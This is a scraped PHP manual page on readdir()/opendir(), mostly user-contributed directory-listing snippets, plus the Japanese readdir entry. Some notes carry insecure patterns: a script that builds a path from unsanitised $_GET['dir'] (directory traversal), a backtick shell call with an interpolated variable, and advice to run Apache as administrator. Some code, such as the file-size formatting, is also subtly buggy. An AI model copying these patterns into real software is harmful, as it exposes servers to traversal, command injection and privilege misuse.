  $current_dir = "$DOCUMENT_ROOT"."dirname/";    //Put in second part, the directory - without a leading slash but with a trailing slash!
  $dir = opendir($current_dir);        // Open the sucker

  echo ("<p><h1>List of available files:</h1></p><hr><br />");
  while ($file = readdir($dir))            // while loop
    {
    $parts = explode(".", $file);                    // pull apart the name and dissect by period
    if (is_array($parts) && count($parts) > 1) {    // does the dissected array have more than one part
        $extension = end($parts);        // set to we can see last file extension
        if ($extension == "ext" OR $extension == "EXT")    // is extension ext or EXT ?
             echo "<a href=\"$file\" target=\"_blank\"> $file </a><br />";    // If so, echo it out else do nothing cos it's not what we want
        }
    }
  echo "<hr><br />";
  closedir($dir);        // Close the directory after we are done
?>
DaveRandom 18-Apr-2009 09:08
A couple of notes on Matt's posts on Windows Network Drives:

Since the system() command writes the output of the executed shell command straight to the output buffer, if you wish to hide the return of the mapping command (i.e. "The command completed succesfully" or an error message) from a web browser, you need to alter the command that is sent to the shell so that the output of that command is hidden.

You probably thinking "why not just use exec()?", and it's a reasonable question, but for some reason it doesn't always work - I guess it's another NT user permissions issue. If you want to guarantee you app will work with no messing around on the host system, use the system() command.

In the Windows command shell, you can hide the output of a command by sending both the output (1) and error (2) messages to "nul" using pipes, in other words ">nul 2>&1" on the end of the command. The username and password order in the "net use..." command needs switching in Matt's post.

Here (http://networkm.co.uk/static/drive.html) is a function I wrote to dynamically choose which drive letter to use, based on what is currently mapped and accessible to PHP.

<?php

// Define the parameters for the shell command
$location = "\\servername\sharename";
$user = "USERNAME";
$pass = "PASSWORD";
$letter = "Z";

// Map the drive
system("net use ".$letter.": \"".$location."\" ".$pass." /user:".$user." /persistent:no>nul 2>&1");

// Open the directory
$dir = opendir($letter.":/an/example/path")

...

?>
Richard Bronosky 11-Mar-2009 09:14
The easiest way to get a dir listing and sort it is to exec() out to ls (eg:'ls -t'). But, that is considered "unsafe". My hosting company finally caught me doing it so here is my fastest solution. (Lucky for me each file is created with a Unix Timestamp at the end of the name and no other numbers in it.)

<?php
#exec('ls -t ./images/motion_detection/', $files); # They outlawed exec, so now I have to do it by hand.
if ($handle = opendir('./images/motion_detection/')) {
    $files=array();
    while (false !== ($file = readdir($handle))) {
        $files[$file] = preg_replace('/[^0-9]/', '', $file); # Timestamps may not be unique, file names are.
    }
    closedir($handle);
    arsort($files);
    $files=array_keys($files);
}
?>

Before you go copying someone's bloat kitchen sink function/class, consider what you have and what you really need.
php at uchange dot co dot uk 05-Dec-2008 09:36
Having spent an hour or so trying to get a complete list of files from a network share on Windows, I've given up (Apache 2.2 Win32, WinXP, PHP5 -> Windows 2000 R2).

Trying to use a mapped drive letter gives me an error and trying to use the UNC path works but is dog slow (it takes a couple of minutes to open and readdir() a directory with a couple of hundred files).

Using this code is fast and instant (you'll have to chop up the output yourself but so be it!)

$out = `dir $dir /B /S`;

If you don't need recursive subdirectories remove the /S from the command - for more details run 'dir /?' on Windows.

Hope this helps somebody in a similar fix!
archipel dot gb at online dot fr 22-Jun-2008 10:20
Here are two versions of the same function to list all files in a directory tree.

The first one is recursive (calls itself while going through subdirectories) :
<?php
function rec_listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    if( $dh = opendir($from))
    {
        while( false !== ($file = readdir($dh)))
        {
            // Skip '.' and '..'
            if( $file == '.' || $file == '..')
                continue;
            $path = $from . '/' . $file;
            if( is_dir($path) )
                $files += rec_listFiles($path);
            else
                $files[] = $path;
        }
        closedir($dh);
    }
    return $files;
}
?>

The second one is iterative (uses less memory) :
<?php
function listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    $dirs = array( $from);
    while( NULL !== ($dir = array_pop( $dirs)))
    {
        if( $dh = opendir($dir))
        {
            while( false !== ($file = readdir($dh)))
            {
                if( $file == '.' || $file == '..')
                    continue;
                $path = $dir . '/' . $file;
                if( is_dir($path))
                    $dirs[] = $path;
                else
                    $files[] = $path;
            }
            closedir($dh);
        }
    }
    return $files;
}
?>
The iterative version should be a little faster most of the time, but the big difference is in the memory usage.

Here is also a profiling function (works in php5 only) :
<?php
function profile( $func, $trydir)
{
    $mem1 = memory_get_usage();
    echo '<pre>-----------------------
Test run for '.$func.'() ...
'; flush();

    $time_start = microtime(true);
    $list = $func( $trydir);
    $time = microtime(true) - $time_start;

    echo 'Finished : '.count($list).' files</pre>';
    $mem2 = memory_get_peak_usage();

    printf( '<pre>Max memory for '.$func.'() : %0.2f kbytes
Running time for '.$func.'() : %0.f s</pre>',
    ($mem2-$mem1)/1024.0, $time);
    return $list;
}
?>
kdouglas at satarah dot com 15-May-2008 04:22
Breadth-first-search (BFS) for a file or directory (vs. Depth-first-search)
http://en.wikipedia.org/wiki/Breadth-first_search

<?php

// Breadth-First Recursive Directory Search, for a File or Directory
// with optional black-list paths and optional callback function.
//
// $root -- is the relative path to the start-of-search directory
// $file -- is the qualified file name: 'name.ext' EX: 'data.xml'
//    (or) $file -- is the target directory name EX: 'xml_files'
// $callback -- is an optional function name and will be passed all
//    matching paths EX: 'my_func', instead of exiting on first match
// $omit -- is an optional array of exclude paths -- relative to root
//    To use $omit but not $callback, pass NULL as the $callback argument
//
// TESTING VALUES FOLLOW ...

function my_func ( $path ) {
  print "<strong>$path</strong><br>\n";
}

$root = '../public_html';
$file = 'data.xml';
$callback = 'my_func';
$omit = array( 'include/img', 'include/css', 'scripts' );

//print breadth_first_file_search ( $root, $file );
//print breadth_first_file_search ( $root, $file, $callback );
//print breadth_first_file_search ( $root, $file, NULL, $omit );
print breadth_first_file_search ( $root, $file, $callback, $omit );

function breadth_first_file_search ( $root, $file, $callback = NULL, $omit = array() ) {
  $queue = array( rtrim( $root, '/' ).'/' ); // normalize all paths
  foreach ( $omit as &$path ) { // &$path Req. PHP ver 5.x and later
    $path = $root.trim( $path, '/' ).'/';
  }
  while ( $base = array_shift( $queue ) ) {
    $file_path = $base.$file;
    if ( file_exists( $file_path ) ) { // file found
      if ( is_callable( $callback ) ) {
        $callback( $file_path ); // callback => CONTINUE
      } else {
        return $file_path; // return file-path => EXIT
      }
    }
    if ( ( $handle = opendir( $base ) ) ) {
      while ( ( $child = readdir( $handle ) ) !== FALSE ) {
        if ( is_dir( $base.$child ) && $child != '.' && $child != '..' ) {
          $combined_path = $base.$child.'/';
          if ( !in_array( $combined_path, $omit ) ) {
            array_push( $queue, $combined_path);
          }
        }
      }
      closedir( $handle );
    } // else unable to open directory => NEXT CHILD
  }
  return FALSE; // end of tree, file not found
}

?>
Peter Hkansson 11-Dec-2007 09:01
Would you like to view your directories in your browser this script might come in handy.

<?php
$sub = ($_GET['dir']);
$path = 'enter/your/directory/here/';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
            if (substr($file, -4, -3) =="."){
            echo "$i. $file <br />";
            }else{
        echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
          }
        $i++;
    }
}
closedir($dh);
?>
mana at averna dot com 07-Dec-2007 03:02
I was trying to access network drives using this opendir function. I read so many posts saying that it was almost impossible to access a network drive and finally, I found the answer; there are 2 steps to be followed to access a network drive with PHP either on the same machine or another machine.

But first of all, here's the error I was getting:
Warning: opendir(\\server\folder1\sub_folder) [function.opendir]: failed to open dir: No error in C:\wamp\www\PMOT\v0.1\REPORT_MENU\index.php on line 17

Firstly, one must make sure that the folder \\server\folder1\sub_folder can be accessed by a user, let's say USER_TEST with a password PASS_TEST. By setting properties to this folder, one can add this given user with the correct password (USER_TEST with PASS_TEST).

Secondly, the APACHE service must be set-up to take this user into account. If no user is specified, APACHE uses an anonymous user and this is where the problem/error message is coming from. One must go in control panel->administrative tools->services. One will see the list of services and must look for APACHE with Apache/2.X.X in the description. (For Wampserver, it will be called wampapache, and so on!) Right click on that and pop up the properties screen. In the tab LOG ON, there are 2 options: local system account and "this account" which will be a user specified account. This is where one must specify the USER_TEST and PASS_TEST.

Following these steps worked perfectly for me but if either the folder privileges or apache log on user is disabled, then I get the initial aforementioned error message.

Anyways, I hope this can help out someone!

Cheers!

Marc
MetaNull 04-Oct-2007 11:39
An other way to recursively walk a directory and it's content, applying a callback to each file.

Exemple: Update the last modification time of each file in a folder

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));
// Touch all the files from the $root directory
if( false === m_walk_dir( $root, "m_touch_file", true )) {
    echo "'{$root}' is not a valid directory\n";
}

// Walk a directory recursivelly, and apply a callback on each file
function m_walk_dir( $root, $callback, $recursive = true ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        call_user_func( $callback, "{$root}/{$file}" );
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_walk_dir( "{$root}/{$file}", $callback, $recursive );
        }
    }
    closedir( $dh );
    return true;
}

// if the path indicates a file, run touch() on it
function m_touch_file( $path ) {
    echo $path . "\n";
    if( !is_dir( $path )) {
        touch( $path );
    }
}

?>
lolwut 13-May-2007 06:00
I sometimes find this useful. Hope you will too.

<?php
//list_by_ext: returns an array containing an alphabetic list of files in the specified directory ($path) with a file extension that matches $extension

function list_by_ext($extension, $path){
    $list = array(); //initialise a variable
    $dir_handle = @opendir($path) or die("Unable to open $path"); //attempt to open path
    while($file = readdir($dir_handle)){ //loop through all the files in the path
        if($file == "." || $file == ".."){continue;} //ignore these
        $filename = explode(".",$file); //seperate filename from extenstion
        $cnt = count($filename); $cnt--; $ext = $filename[$cnt]; //as above
        if(strtolower($ext) == strtolower($extension)){ //if the extension of the file matches the extension we are looking for...
            array_push($list, $file); //...then stick it onto the end of the list array
        }
    }
    if($list[0]){ //...if matches were found...
    return $list; //...return the array
    } else {//otherwise...
    return false;
    }
}

//example usage
if($win32_exectuables = list_by_ext("exe", "C:\WINDOWS")){
    var_dump($win32_exectuables);
} else {
    echo "No windows executables found :(\n";
}

?>
Michael mt1955 (a) gmail.com 11-May-2007 07:59
# simple directory walk with callback function

<?php
function callbackDir($dir)
{
   # do whatever you want here
   echo "$dir\n";
}

function walkDir($dir,$fx)
{
  $arStack = array();
  $fx($dir);
  if( ($dh=opendir($dir)) )
  { while( ($file=readdir($dh))!==false )
    { if( $file=='.' || $file=='..' ) continue;
      if( is_dir("$dir/$file") )
      { if( !in_array("$dir/$file",$arStack) ) $arStack[]="$dir/$file";
      }
    }
    closedir($dh);
  }
  if( count($arStack) )
  { foreach( $arStack as $subdir )
    { walkDir($subdir,$fx);
    }
  }
}

walkDir($root,callBackDir);
?>
NerdyDork 08-Feb-2007 08:36
Here is a snippet to create a site map of all html files in a folder:

<?php
    // read all html file in the current directory
    if ($dh = opendir('./')) {
        $files = array();
        while (($file = readdir($dh)) !== false) {
            if (substr($file, strlen($file) - 5) == '.html') {
                array_push($files, $file);
            }
        }
        closedir($dh);
    }

    // Sort the files and display
    sort($files);
    echo "<ul>\n";
    foreach ($files as $file) {
        $title = Title($file);
        echo "<li><a href=\"$file\" title=\"$title\">$title</a></li>\n";
    }
    echo "</ul>\n";

    // Function to get a human readable title from the filename
    function Title($filename) {
        $title = substr($filename, 0, strlen($filename) - 5);
        $title = str_replace('-', ' ', $title);
        $title = ucwords($title);
        return $title;
    }
?>
frogstarr78 at yahoo dot com 21-Jan-2007 12:30
Here's a function that will recrusively turn a directory into a hash of directory hashes and file arrays, automatically ignoring "dot" files.

<?php
function hashify_directory($topdir, &$list, $ignoredDirectories=array()) {
    if (is_dir($topdir)) {
        if ($dh = opendir($topdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectories) > -1) && preg_match('/^\./', $file) == 0) {
                    if (is_dir("$topdir$file")) {
                        if(!isset($list[$file])) {
                            $list[$file] = array();
                        }
                        ksort($list);
                        hashify_directory("$topdir$file/", $list[$file]);
                    } else {
                        array_push($list, $file);
                    }
                }
            }
            closedir($dh);
        }
    }
}
?>

e.g.
<?php
$public_html["StudentFiles"] = array();
hashify_directory("StudentFiles/", $public_html["StudentFiles"]);
?>
on the directory structure:
./StudentFiles/tutorial_01/case1/file1.html
./StudentFiles/tutorial_01/case1/file2.html
./StudentFiles/tutorial_02/case1/file1.html
./StudentFiles/tutorial_02/case2/file2.html
./StudentFiles/tutorial_03/case1/file2.html
etc...
becomes:
<?php
print_r($public_html);
/*
outputs:
array(
  "StudentFiles" => array (
        "tutorial_01" => array (
              "case1" => array( "file1.html", "file2.html")
        ),
        "tutorial_02" => array (
              "case1" => array( "file1.html"),
              "case2" => array( "file2.html")
        ),
       "tutorial_03" => array (
              "case1" => array( "file2.html")
       )
  )
)
*/
?>
I'm using it to create a tree view of a directory.
phpguy at mailstop dot yogelements dot omitme dot com 13-Dec-2006 01:40
An issue that I ran into is that opendir() could care less if you've got server authentication set on sub directories and so any such authentication is bypassed completely when accesses in this way. I did solve it for my application of a pretty file manager, by redirecting to all sub directories thusly:
$fdir = "./subdirectory_I_want_to_visit/";
if ($fdir != './') { //basically where we are or the parent
    //redirect the browser to force authentication check on any subdirectories
    header("Location: http://my.domain.com".dirname($_SERVER["PHP_SELF"]).substr($fdir,2));
    exit;
} else {
    $dir = opendir($fdir);
}
tim2005 13-May-2006 05:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
    $teller = 0;
    if ($handle = opendir($dir)) {
        $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
        $mydir .= "<select name=\"".$select_name."\">\n";
        $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
        $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
        while (false !== ($file = readdir($handle))) {
            $files[] = $file;
        }
        closedir($handle);
        sort($files);
        foreach ($files as $val) {
            if (is_file($dir.$val)) { // show only real files (ver. 1.01)
                $mydir .= "    <option value=\"".$val."\"";
                $mydir .= ($val == $curr_val) ? " selected>" : ">";
                $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
                $teller++;
            }
        }
        $mydir .= "</select>";
    }
    if ($teller == 0) {
        $mydir = "No files!";
    } else {
        return $mydir;
    }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler 15-Apr-2006 01:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
    echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 07:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com 28-Dec-2005 08:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
    $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
    if(is_array($list2)) {
        $directorylist = array_merge($directorylist, $list2);
    }
}
?>
mstabile75 at gmail dot com 27-Dec-2005 07:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
    //list the directory/file names that you want to ignore
    $ignoredDirectory[] = ".";
    $ignoredDirectory[] = "..";
    $ignoredDirectory[] = "_vti_cnf";
    global $directorylist;    //initialize global array
    if (is_dir($startdir)) {
        if ($dh = opendir($startdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
      }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
    echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com 10-Dec-2005 11:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
        if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                        if( $file != "." && $file != ".." )
                        {
                                if( is_dir( $dir . $file ) )
                                {
                                        echo "Entering Directory: $dir$file<br/>";
                                        recursive_delete( $dir . $file . "/" );
                                        echo "Removing Directory: $dir$file<br/><br/>";
                                        rmdir( $dir . $file );
                                }
                                else
                                {
                                        echo "Deleting file: $dir$file<br/>";
                                        unlink( $dir . $file );
                                }
                        }
               }
               closedir($dh);
           }
        }
}
?>
05-Oct-2005 09:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
    //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
    //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
    //relative to each other in the order presented by readdir()
    $files = array();
    $fileNames = array();
    $i = 0;

    if (is_dir($path)) {
        if ($dh = opendir($path)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == "." || $file == "..") continue;
                $fullpath = $path . "/" . $file;
                $fkey = strtolower($file);
                while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
                $a = stat($fullpath);
                $files[$fkey]['size'] = $a['size'];
                if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
                else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
                else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
                else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
                $files[$fkey]['name'] = $file;
                $files[$fkey]['type'] = filetype($fullpath);
                $fileNames[$i++] = $fkey;
            }
            closedir($dh);
        } else die ("Cannot open directory:  $path");
    } else die ("Path is not a directory:  $path");
    sort($fileNames,SORT_STRING);
    $sortedFiles = array();
    $i = 0;
    foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

    return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard 21-May-2005 12:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
    // Try to open the directory
    if($dir = opendir($directory)) {
        // Create an array for all files found
        $tmp = Array();

        // Add the files
        while($file = readdir($dir)) {
            // Make sure the file exists
            if($file != "." && $file != ".." && $file[0] != '.') {
                // If it's a directiry, list all files within it
                if(is_dir($directory . "/" . $file)) {
                    $tmp2 = getFiles($directory . "/" . $file);
                    if(is_array($tmp2)) {
                        $tmp = array_merge($tmp, $tmp2);
                    }
                } else {
                    array_push($tmp, $directory . "/" . $file);
                }
            }
        }

        // Finish off the function
        closedir($dir);
        return $tmp;
    }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
iamnotanerd 29-Mar-2005 09:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..

<?php
function search($target, $directory){

    if(is_dir($directory)){
        $direc = opendir($directory);
        while(false !== ($file = readdir($direc))){

            if($file !="." && $file != ".."){

                if(is_file($directory."/".$file)){
                    if(preg_match("/$target/i", $file)){
                                            echo "<a href=\"$directory/$file\">$file</a><br>";
                                        }
                }else if(is_dir($directory."/".$file)){
                    search($target,$directory."/".$file);

                }

            }
        }
        closedir($direc);
    }

    return ;
}
?>
sandy at montana-riverboats dot com 29-Sep-2004 09:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
    $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
    $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
    $upurl = $PHP_SELF;
  }
else
  {
    if ($parent_path == $DOCUMENT_ROOT)
      $parent_parent_path = $parent_path;
    else
      $parent_parent_path = dirname ($parent_path);
    $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                  $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
    $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
    {
      $i = 0;
      while (false !== ($file = @readdir ($handle)))
    {
      if ($file != "." && $file != "..")
        {
          $list[$i] = $file;
          $i++;
        }
    }
      $dir_length = count ($list);
      echo "<ul>";
      for ($i = 0; $i < $dir_length; $i++)
    {
      global $PHP_SELF;
      global $DOCUMENT_ROOT;
      $label = $list[$i];
      $test = $dir."/".$label;
      $alink = $dir."/".ereg_replace(" ","%20",$label);
      if (!strstr ($PHP_SELF, $label))
        {
          if (is_dir ($test))
        {
          $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
          $url = ereg_replace(" ", "%20", $tmp);
                  echo "$url<br>\n";
          echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
        }
          else
        {
          $link = urlFromPath ($alink);

          $label = $list[$i];
          echo
            "<a href=\"$link\">".$label."</a><br>\n";
        }
        }
    }
      echo "</ul>";
      closedir ($handle);
    }
}

?>
micklweiss at gmx dot net 19-Nov-2003 01:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )     UNIX Systems Admin
---   ~ www.mickweiss.com ~
info at 4design dot nu 22-Aug-2003 06:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm 06-Jun-2003 01:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").


ディレクトリハンドルからエントリを読み込む

  • ≪ opendir
  • rewinddir ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリハンドルからエントリを読み込む

readdir

(PHP 4, PHP 5, PHP 7, PHP 8)

readdir — ディレクトリハンドルからエントリを読み込む

説明

readdir ( resource $dir_handle = ? ) : string|false

ディレクトリから次のエントリの名前を返します。 エントリ名はファイルシステム上に格納されている順番で返されます。

パラメータ

dir_handle

opendir() が事前にオープンした ディレクトリハンドルリソース。 ディレクトリハンドルを指定しなかった場合は、 opendir() が最後にオープンしたものを使用します。

返り値

成功した場合にエントリ名、失敗した場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 ディレクトリ内の全てのエントリのリストを得る

以下の例で、readdir() の返り値をどのように調べているかに 注目してください。返り値が false と一致することを、明示的に （値が等しく、かつ型も等しい - 詳細は 比較演算子 を参照ください）調べています。なぜなら、そうしないと false と評価されてしまうディレクトリエントリ （例: "0" という名前のディレクトリ）があった場合にループが とまってしまうからです。

<?php

if ($handle = opendir('/path/to/files')) {
    echo "Directory handle: $handle\n";
    echo "Entries:\n";

    /* ディレクトリをループする際の正しい方法です */
    while (false !== ($entry = readdir($handle))) {
        echo "$entry\n";
    }

    /* ディレクトリをループする際の「間違った」方法です */
    while ($entry = readdir($handle)) {
        echo "$entry\n";
    }

    closedir($handle);
}
?>

例2 カレントディレクトリの全てのエントリを一覧する。ただし . および .. は取り除く

<?php
if ($handle = opendir('.')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            echo "$entry\n";
        }
    }
    closedir($handle);
}
?>

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • glob() - パターンにマッチするパス名を探す
  • opendir() - ディレクトリハンドルをオープンする
  • scandir() - 指定されたパスのファイルとディレクトリのリストを取得する

User Contributed Notes

synnus at gmail dot com 04-Nov-2019 08:56
<?php

 // if( $entry[0] != '.' )  best for ' . ' and ' .. '

            $d = dir( '.' );
            echo "Pointeur : " . $d->handle . "\n";
            echo "Chemin : " . $d->path . "\n";
            while (false !== ($entry = $d->read())) {
               if($entry[0] != '.') {
                   echo $entry, PHP_EOL;
               }
            }
            $d->close();

?>
Mark Simon 09-Oct-2019 05:44
Regarding the warning:

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE.

Of course, this means that if you use:

<?php
    if($entry = readdir($handle) == false) ...
?>

or

<?php
    while($entry = readdir($handle)) ...
?>

you may get a false false, as it were.

As far as I can tell, the only time this would actually occur is if you encounter an entry of 0.

According to

https://www.php.net/manual/en/language.types.boolean.php#language.types.boolean.casting

